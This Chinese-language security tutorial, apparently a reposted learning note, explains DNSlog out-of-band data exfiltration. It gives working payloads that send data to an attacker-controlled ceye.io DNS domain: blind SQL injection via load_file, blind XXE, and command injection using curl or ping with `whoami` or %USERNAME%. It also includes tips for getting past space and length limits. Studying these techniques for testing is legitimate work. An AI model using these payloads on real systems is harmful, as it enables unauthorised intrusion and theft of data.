Dnslog在诸多漏洞中的利用方式
Posted 求知鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Dnslog在诸多漏洞中的利用方式相关的知识,希望对你有一定的参考价值。
安全学习了大概快半年了,对于诸多漏洞的原理和基础应用大概也基本了解了。
之前都是以‘点(每个漏洞怎样?)’的方式在学习、记忆。现在感觉需要做一些总结:
今天又看到了DNSlog这个词,记起了第一次接触是在SQL盲注那一块知识,后来在SSRF中测试无回显情况中也遇到过,遂想做一下dnslog在诸多漏洞中的利用方式总结。
DNSlog原理:
原理就是:DNS协议有一个不懂就问的特点,向自己的上一级DNS服务器发问(请求解析),电脑在请求域名解析的时候会向DNS服务器请求,我们可以申请一个dns服务器如:ceye.io,因为电脑发出的请求域名如:payload.ceye.io是我们dns服务器的子域,所以它的解析请求就会被我们捕获。
本质:依靠域名解析,把带有payload解析后的域名向DNS服务器请求,从而获取payload解析后的数据
利用点:只要是能够发出域名解析请求的地方都可以用这种方式获取数据。
可以利用DNSlog的漏洞:
- SQL盲注
- XXE(SSRF)(无回显)
- 命令执行(无回显)
- XSS(无回显)
1、SQL盲注
//直接上payload演示 http://127.0.0.1/sqli_blind/ ?id=1‘ and if((select load_file(concat(‘\\‘,(select database()),‘.YourDnsSite.ceye.io\sql_test‘))),1,0)--+ //需要注意 \sql_test 这一块可以随便写,意思就是请求这个服务器上的一个文件,但是不写不行,具体原理不太了解,全靠实践获得吧
然后我们就可以在我们申请的dns服务器上查看到:库名.YourDnsSite.ceye.io 这一条域名解析记录
2、XXE(SSRF)(无回显)
这里之所以写XXE(SSRF),其实是实战中碰到的一种情况,XXE一般有两种,一种是有回显的,一种是无回显的,即大家常说的盲XXE,然后对于这种盲XXE,我们验证漏洞就可以使用让它去请求一个服务器域名,看他是不是执行了,而且这种XXE漏洞一般都是与SSRF相关的。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.YourDnsSite.ceye.io/xxe_test"> %remote;]> <root/> // http://ip.YourDnsSite.ceye.io/xxe_test部分拼凑一个域名,看看目标机器会不会去想dns服务器请求解析
3、命令执行(无回显)
当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。
这里分两种情况:Linux系统和Windows系统
Linux:
curl http://ip.port.domain.ceye.io/`whoami` //就会在dns服务器显示 ip.port.root.ceye.io
ping `whoami`.ceye.io //就会在dns服务器显示 ip.port.root.ceye.io
Windows:
ping %USERNAME%.domain.ceye.io //查询该电脑中的环境变量
类似的这种环境变量还有:
变量 | 类型 | 描述 |
---|---|---|
%ALLUSERSPROFILE% | 本地 | 返回“所有用户”配置文件的位置。 |
%APPDATA% | 本地 | 返回默认情况下应用程序存储数据的位置。 |
%CD% | 本地 | 返回当前目录字符串。 |
%CMDCMDLINE% | 本地 | 返回用来启动当前的 Cmd.exe 的准确命令行。 |
%CMDEXTVERSION% | 系统 | 返回当前的“命令处理程序扩展”的版本号。 |
%COMPUTERNAME% | 系统 | 返回计算机的名称。 |
%COMSPEC% | 系统 | 返回命令行解释器可执行程序的准确路径。 |
%DATE% | 系统 | 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 |
%ERRORLEVEL% | 系统 | 返回上一条命令的错误代码。通常用非零值表示错误。 |
%HOMEDRIVE% | 系统 | 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%HOMEPATH% | 系统 | 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%HOMESHARE% | 系统 | 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%LOGONSERVER% | 本地 | 返回验证当前登录会话的域控制器的名称。 |
%NUMBER_OF_PROCESSORS% | 系统 | 指定安装在计算机上的处理器的数目。 |
%OS% | 系统 | 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 |
%PATH% | 系统 | 指定可执行文件的搜索路径。 |
%PATHEXT% | 系统 | 返回操作系统认为可执行的文件扩展名的列表。 |
%PROCESSOR_ARCHITECTURE% | 系统 | 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 |
%PROCESSOR_IDENTFIER% | 系统 | 返回处理器说明。 |
%PROCESSOR_LEVEL% | 系统 | 返回计算机上安装的处理器的型号。 |
%PROCESSOR_REVISION% | 系统 | 返回处理器的版本号。 |
%PROMPT% | 本地 | 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 |
%RANDOM% | 系统 | 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 |
%SYSTEMDRIVE% | 系统 | 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。 |
%SYSTEMROOT% | 系统 | 返回 Windows server operating system 根目录的位置。 |
%TEMP%和%TMP% | 系统和用户 | 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 |
%TIME% | 系统 | 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。 |
%USERDOMAIN% | 本地 | 返回包含用户帐户的域的名称。 |
%USERNAME% | 本地 | 返回当前登录的用户的名称。 |
%USERPROFILE% | 本地 | 返回当前用户的配置文件的位置。 |
%WINDIR% | 系统 | 返回操作系统目录的位置。 |
4、XSS(无回显)
XSS绕过CSP 参阅freebuf此文
注意:
1、命令执行时要避免空格,空格会导致空格后面的命令执行不到;
2、将读取的文件命令用``包含起来;
3、拼接的域名有长度限制。(可能需要使用函数分块截取)
以上是关于Dnslog在诸多漏洞中的利用方式的主要内容,如果未能解决你的问题,请参考以下文章